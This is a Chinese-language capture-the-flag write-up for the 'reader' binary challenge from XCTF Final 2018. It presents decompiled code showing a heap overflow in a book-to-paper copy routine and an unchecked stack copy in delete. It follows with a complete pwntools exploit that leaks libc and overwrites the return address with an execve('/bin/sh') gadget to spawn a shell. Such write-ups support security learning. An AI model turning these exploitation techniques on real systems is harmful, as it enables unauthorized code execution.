xctf final 2018 wp
1. reader
程序分析
程序代码量比较大,逆起来比较费劲
主要两个结构,book和paper
00000000 paper struc ; (sizeof=0x178, mappedto_7)
00000000 flag dd ?
00000004 size dd ?
00000008 content db 256 dup(?)
00000108 title db 32 dup(?)
00000128 description db 80 dup(?)
00000178 paper ends
00000178
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 book struc ; (sizeof=0x228, mappedto_6)
00000000 flag dd ?
00000004 size dd ?
00000008 content db 256 dup(?)
00000108 title db 32 dup(?)
00000128 description db 256 dup(?)
00000228 book ends
漏洞点在于book2paper功能,存在溢出,可以修改结构体的size段
void *__fastcall z_export(int book, int paper, int flag)
{
signed int size; // eax
signed int v4; // eax
void *result; // rax
signed int v6; // eax
signed int len_precise; // [rsp+1Ch][rbp-14h]
char *v8; // [rsp+20h][rbp-10h]
char *v9; // [rsp+20h][rbp-10h]
char *v10; // [rsp+28h][rbp-8h]
char *v11; // [rsp+28h][rbp-8h]
if ( flag )
size = 0x100;
else
size = 0x80;
len_precise = size;
if ( flag == 1 ) // book2paper
{
v10 = (char *)zbook_list;
v8 = (char *)zpaper_list;
v4 = *((_DWORD *)zbook_list + 0x8A * book + 1);
if ( v4 > 256 )
v4 = 256;
*((_DWORD *)zpaper_list + 106 * paper + 1) = v4;
memcpy(&v8[0x1A8 * paper + 8], &v10[0x228 * book + 8], 0xFFuLL);
memcpy(&v8[0x1A8 * paper + 0x108], &v10[0x228 * book + 0x108], 0x1FuLL);
result = memcpy(&v8[0x1A8 * paper + 0x128], &v10[0x228 * book + 0x128], len_precise);// now 100
// heap overflow here
}
else // paper to book
{
v11 = (char *)zpaper_list;
v9 = (char *)zbook_list;
if ( *((_DWORD *)zpaper_list + 106 * book + 1) > 255 )
v6 = 256;
else
v6 = *((_DWORD *)zpaper_list + 138 * book + 1);
*((_DWORD *)zbook_list + 138 * paper + 1) = v6;
memcpy(&v9[552 * paper + 8], &v11[424 * book + 8], 0xFFuLL);
memcpy(&v9[552 * paper + 264], &v11[424 * book + 264], 0x1FuLL);
result = memcpy(&v9[552 * paper + 296], &v11[424 * book + 296], len_precise);
}
return result;
}
然后再delete时用alloca时分配栈内内存时没有考虑size,配合上面的漏洞可以覆盖返回地址
else
{
v1 = alloca(0x90LL);
dest = (void *)(16 * (((unsigned __int64)&addr + 7) >> 4));
memcpy((void *)(16 * (((unsigned __int64)&addr + 7) >> 4)), addr + 2, addr[1]);
memset(addr + 2, 0, 0x100uLL);
memset(addr + 74, 0, 0x80uLL);
}
思路
在delete时会有将栈内信息打印的功能,可以leak出libc地址
addr[1] = 0;
return puts((const char *)dest);
然后覆盖返回地址就可以getshell了
exp
from pwn import *
context.log_level = 'debug'
io = process('./main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def p():
gdb.attach(io)#,'b *0x00005555555556c8 ')
raw_input()
def choice(c):
io.recvuntil('>')
io.sendline(str(c))
def input_raw(content):
choice(1)
io.recvuntil('>')
io.sendline(content)
def write_paper(id,content,tit,des):
choice(2)
io.recvuntil('>')
io.sendline(str(id))
io.recvuntil('>')
io.sendline(content)
io.recvuntil('>')
io.sendline(tit)
io.recvuntil('>')
io.sendline(des)
def write_book(id,content,tit,des):
choice(3)
io.recvuntil('>')
io.sendline(str(id))
io.recvuntil('>')
io.sendline(content)
io.recvuntil('>')
io.sendline(tit)
io.recvuntil('>')
io.sendline(des)
def book2paper(book,paper):
choice(4)
io.recvuntil('>')
io.sendline(str(book))
io.recvuntil('>')
io.sendline(str(paper))
def paper2book(book,paper):
choice(5)
io.recvuntil('>')
io.sendline(str(paper))
io.recvuntil('>')
io.sendline(str(book))
def proof(id,idx,n):
choice(6)
io.recvuntil('>')
io.sendline(str(id))
io.recvuntil('>')
io.sendline(str(idx))
io.recvuntil('>')
io.sendline(str(n))
def delete(id,idx,pi = False):
choice(7)
```
io.recvuntil('>')
io.sendline(str(id))
io.recvuntil('>')
io.sendline(str(idx))
```
def show(id):
choice(8)
io.recvuntil('>')
io.sendline(str(id))
def main():
write_paper(1,'AAAA','AAAAA','AAAAA')
write_paper(2,'BBBB','BBB','BBB')
write_book(1, "C"*0xfe, "C"*0x1e, "C"*0x80+p32(0)+p32(0x58)+"C"*0x6e)
book2paper(1,1)
delete(1,2)
io.recvuntil('C'*0x58)
leak = u64(io.recv(6).ljust(8,'\x00'))
log.success(hex(leak))
#libc_base = leak - libc.symbols['_IO_new_file_underflow'] - 304
#0x7ffff7a8b5b0 - 0x00007ffff7a11000
#
#0x46428 execve("/bin/sh", rsp+0x30, environ)
#0x4647c execve("/bin/sh", rsp+0x30, environ)
#0xe9415 execve("/bin/sh", rsp+0x50, environ)
libc_base = leak - 0x7a5b0
log.success(hex(libc_base))
one = libc_base + 0x4647c
sys = libc_base + libc.symbols['system']
unsorted = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x58
write_paper(2, "A"*0xb8+p64(one), "A"*0x1e, "A"*0x7e)
write_paper(2, "A"*0xa8+p64(unsorted), "A"*0x1e, "A"*0x7e) # this is dest rw
write_paper(2, "A"*0x98+p64(unsorted), "A"*0x1e, "A"*0x7e) # this is ptr rw
write_book(1, "B"*0xfe, "B"*0x1e, "B"*0x80+p32(0)+p32(0xc0))
book2paper(1, 1)#2 size now c0
delete(1,2,pi = True)
log.success(hex(unsorted))
log.success(hex(one))
io.interactive()
if __name__ == '__main__':
main()
覆盖返回地址的时候忘记看栈变量,在delete时候会调用栈内的指针,所以需要注意一下
PREVIOUShack it ctf (3)
NEXThctf heapstorm